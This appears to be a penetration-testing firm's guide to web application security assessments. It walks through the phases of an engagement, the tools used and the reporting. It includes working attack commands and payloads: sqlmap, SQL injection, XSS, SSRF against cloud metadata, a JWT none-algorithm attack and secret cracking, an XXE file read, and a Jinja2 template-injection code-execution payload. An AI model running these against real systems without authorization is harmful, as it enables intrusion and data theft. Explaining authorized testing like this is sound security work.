Web applications are among the most targeted assets in any organization's infrastructure. They sit at the edge of the network, exposed to the internet, processing user input, and often connected to backend databases and internal services. A single vulnerability in a web application can lead to data breaches, account takeovers, or full server compromise.
Web application penetration testing is the structured, adversarial process of finding those vulnerabilities before attackers do. This guide covers how a professional engagement is structured, what tools are used, and what you can realistically expect at each phase.
Web application penetration testing is a controlled security assessment in which a skilled tester attempts to compromise a web application using the same techniques a real attacker would use. Unlike a vulnerability scan, a penetration test involves manual analysis, chained exploits, and contextual judgment to determine real-world impact.
The goal is not just to find vulnerabilities but to demonstrate what an attacker could do with them, how far they could move through the application, and what data or functionality they could access.
Penetration tests are typically scoped to a specific application or set of applications, conducted under a formal rules of engagement agreement, and delivered with a detailed technical report at the end.
Web application testing is a specialized discipline. While network penetration testing focuses on hosts, ports, and services, web application testing focuses on logic, input handling, authentication, session management, and application-layer vulnerabilities.
The OWASP Top 10 provides a widely referenced baseline for what testers look for, but a thorough engagement goes well beyond that list. Real-world web applications have custom business logic, non-standard authentication flows, and integration points with third-party services that introduce unique attack surfaces.
Professional web application penetration testing follows a repeatable methodology. Redfox Cybersecurity structures engagements across five core phases, each building on the last.
Before any testing begins, the scope is defined. This includes which domains, subdomains, endpoints, and user roles are in scope. Authentication credentials for different privilege levels are provided or created, and testing windows are agreed upon.
Passive reconnaissance begins once the engagement is active. The tester collects information about the application without sending traffic directly to it.
Tools used:
theHarvester for email and subdomain harvestingShodan and Censys for internet-facing asset discoveryamass for subdomain enumerationamass enum -passive -d targetdomain.com -o subdomains.txt
[cta]
Active fingerprinting follows. The tester identifies the web server, application framework, backend language, and third-party components.
whatweb https://targetdomain.com -v
[cta]
HTTP headers, cookies, and error messages often reveal technology stack details that inform the rest of the test.
With a list of subdomains and entry points in hand, the tester maps the full attack surface of the application. This includes crawling all accessible endpoints, identifying parameters, and cataloguing forms, file upload functionality, authentication endpoints, and API routes.
Tools used:
Burp Suite Professional for proxying, crawling, and manual analysisffuf for directory and parameter fuzzinggau for pulling known URLs from internet archivesffuf -u https://targetdomain.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -mc 200,301,302,403
[cta]
gau targetdomain.com | grep "\.php\|\.asp\|\.aspx\|\.jsp" | sort -u
[cta]
API endpoints deserve special attention. GraphQL introspection, Swagger/OpenAPI documentation endpoints, and REST APIs with predictable patterns are all checked during this phase.
ffuf -u https://api.targetdomain.com/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -H "Authorization: Bearer <token>" -mc 200,201,400,401,403,405
[cta]
This is the core of the engagement. The tester systematically tests each identified input and endpoint for a wide range of vulnerabilities. Both automated scanning and manual testing are used, with manual analysis being the more valuable of the two.
SQL Injection
SQL injection remains one of the most critical and common vulnerabilities in web applications. The tester uses tools like sqlmap alongside manual payloads delivered through Burp Suite.
sqlmap -u "https://targetdomain.com/product?id=1" --level=5 --risk=3 --dbs --batch --random-agent
[cta]
For blind injection scenarios where no output is returned, time-based techniques are used.
'; IF (1=1)WAITFORDELAY '0:0:5'--
[cta]
Cross-Site Scripting (XSS)
Reflected, stored, and DOM-based XSS are tested across all user-supplied input fields. dalfox is a modern tool purpose-built for XSS hunting.
dalfox url "https://targetdomain.com/search?q=FUZZ" --silence --skip-bav
[cta]
Manual payloads are used to bypass WAFs and input filters. For example, when angle brackets are blocked, attribute-injection payloads or JavaScript URI schemes may still work.
"><img src=x onerror=alert(document.domain)>
javascript:alert(1)
<svg/onload=alert(1)>[cta]
Server-Side Request Forgery (SSRF)
SSRF vulnerabilities allow attackers to make the server initiate requests to internal or external resources. These are particularly dangerous in cloud environments where the metadata service is accessible.
https://targetdomain.com/fetch?url=http://169.254.169.254/latest/meta-data/
https://targetdomain.com/fetch?url=http://internal-service.local/admin
[cta]
Testers use Burp Collaborator or interactsh to detect out-of-band interactions that confirm SSRF even when no output is returned.
interactsh-client -v
# Use the generated URL in payloads to detect blind SSRF callbacks
[cta]
Broken Access Control
Insecure direct object references, horizontal privilege escalation, and missing function-level authorization are tested manually. This involves changing user IDs in requests, accessing other users' resources, and attempting administrative functions with lower-privileged tokens.
GET /api/users/1002/profile HTTP/1.1
Host: targetdomain.com
Authorization: Bearer <token_of_user_1001>[cta]
Authentication and Session Management
Password reset flows, multi-factor authentication bypass attempts, token predictability, and session fixation are all assessed. JWT tokens receive specific scrutiny.
# Decode and inspect a JWT
jwt_tool <token> -t
# Test for the none algorithm vulnerability
jwt_tool <token> -X a
[cta]
Weak or hardcoded secrets used to sign JWTs can be brute-forced.
hashcat -a 0 -m 16500 <jwt> /usr/share/wordlists/rockyou.txt
[cta]
XXE Injection
Applications that parse XML input may be vulnerable to XML external entity injection. This can lead to local file disclosure, SSRF, or denial of service.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>[cta]
Server-Side Template Injection (SSTI)
Template injection occurs when user input is embedded directly into a template before it is rendered. Detection starts with probe payloads that trigger mathematical operations.
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
[cta]
If the response contains "49", template injection is confirmed and exploitation proceeds based on the template engine in use.
# Jinja2 (Python) RCE payload
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
[cta]
Finding a vulnerability is only part of the story. A professional penetration test demonstrates real-world impact by exploiting vulnerabilities and, where possible, chaining multiple issues together to achieve a higher-severity outcome.
For example, a low-severity SSRF that reaches an internal metadata service in a cloud environment might yield AWS credentials, which can then be used to escalate privileges within the cloud account. Individually these might be rated medium-severity issues, but chained together they represent a critical finding.
Redfox Cybersecurity's approach to exploitation is controlled and targeted. No data is exfiltrated outside the scope, and destructive payloads are never used. The focus is on proving impact within agreed boundaries.
If your organization is looking for a realistic assessment of what an attacker could do to your web-facing applications, our web application penetration testing services are designed to provide exactly that level of clarity.
Every finding is documented with the following components:
Reports are written for two audiences: the security and development teams who need technical detail, and leadership who need to understand business risk. Redfox Cybersecurity delivers both a technical report and an executive summary as standard deliverables.
A professional web application penetration tester relies on a carefully curated toolset. The following are standard tools used across engagements.
The industry-standard intercepting proxy for web application testing. Burp Suite Professional includes an active scanner, Collaborator for out-of-band detection, an intruder for automated fuzzing, and a rich extension ecosystem through the BApp Store.
Extensions particularly useful in web app testing include:
Autorize for automated access control testingParam Miner for hidden parameter discoveryJWT Editor for token analysis and manipulationTurbo Intruder for high-speed fuzzing with custom request logicA fast web fuzzer written in Go, used for directory brute-forcing, parameter fuzzing, subdomain enumeration, and virtual host discovery.
# Subdomain fuzzing
ffuf -u https://FUZZ.targetdomain.com -w subdomains.txt -mc 200,301,302
# Parameter discovery
ffuf -u "https://targetdomain.com/page?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200
[cta]
A fast, template-based vulnerability scanner maintained by ProjectDiscovery. Nuclei templates cover CVEs, misconfigurations, exposed panels, and default credentials.
nuclei -u https://targetdomain.com -t cves/ -t exposures/ -t misconfiguration/ -severity medium,high,critical
[cta]
The standard tool for SQL injection detection and exploitation. Supports a wide range of injection techniques including error-based, blind, time-based, and out-of-band.
A purpose-built XSS scanner with WAF bypass capabilities, output encoding detection, and DOM-based XSS analysis.
An out-of-band interaction server used to detect blind vulnerabilities including blind XSS, SSRF, XXE, and command injection where no direct output is returned.
Understanding what happens during an engagement removes uncertainty and helps your team prepare appropriately.
Before the test: You will complete a scoping questionnaire, provide test account credentials for each user role in scope, and sign off on rules of engagement. You may also provide a staging environment, though many tests are conducted against production with agreed-upon constraints.
During the test: The tester works through the methodology described above. You may notice unusual traffic in your logs, automated scanning activity, or requests with unusual payloads. This is expected. The tester maintains a daily log of activity that can be shared with your security operations team to prevent false alerts from triggering incident response.
After the test: A debrief call walks through findings before the final report is delivered. This gives your team the opportunity to ask questions, challenge findings, and understand remediation priorities. Redfox Cybersecurity includes a retest of remediated critical and high findings within a defined window as part of standard engagements.
The timeline for a web application penetration test varies depending on scope. A single medium-complexity application typically requires five to ten business days of active testing. Larger applications with multiple authentication roles, extensive API surfaces, or complex business logic will require more time.
Across hundreds of engagements, certain vulnerability classes appear repeatedly. Knowing what is commonly found helps development teams prioritize proactive hardening before a test occurs.
Organizations that engage professional penetration testing services regularly find that the return on investment is measurable, both in vulnerabilities remediated before a breach and in the confidence gained in their application's security posture.
Web application penetration testing is not a checkbox exercise. When conducted by experienced testers following a rigorous methodology, it provides a realistic picture of what an attacker could do to your application today, with the detail and context needed to actually fix the problem.
The combination of automated tooling and deep manual analysis is what separates a professional penetration test from a vulnerability scan. Automated tools find the obvious issues quickly. Manual analysis finds the logic flaws, the chained vulnerabilities, and the business-context-dependent misconfigurations that no scanner can detect.
If your organization runs web-facing applications and has not had a professional penetration test conducted within the last twelve months, the risk is real and the timeline for addressing it is now. Redfox Cybersecurity works with organizations across industries to deliver thorough, actionable web application penetration tests that create genuine security improvement. Reach out through our services page to start the conversation.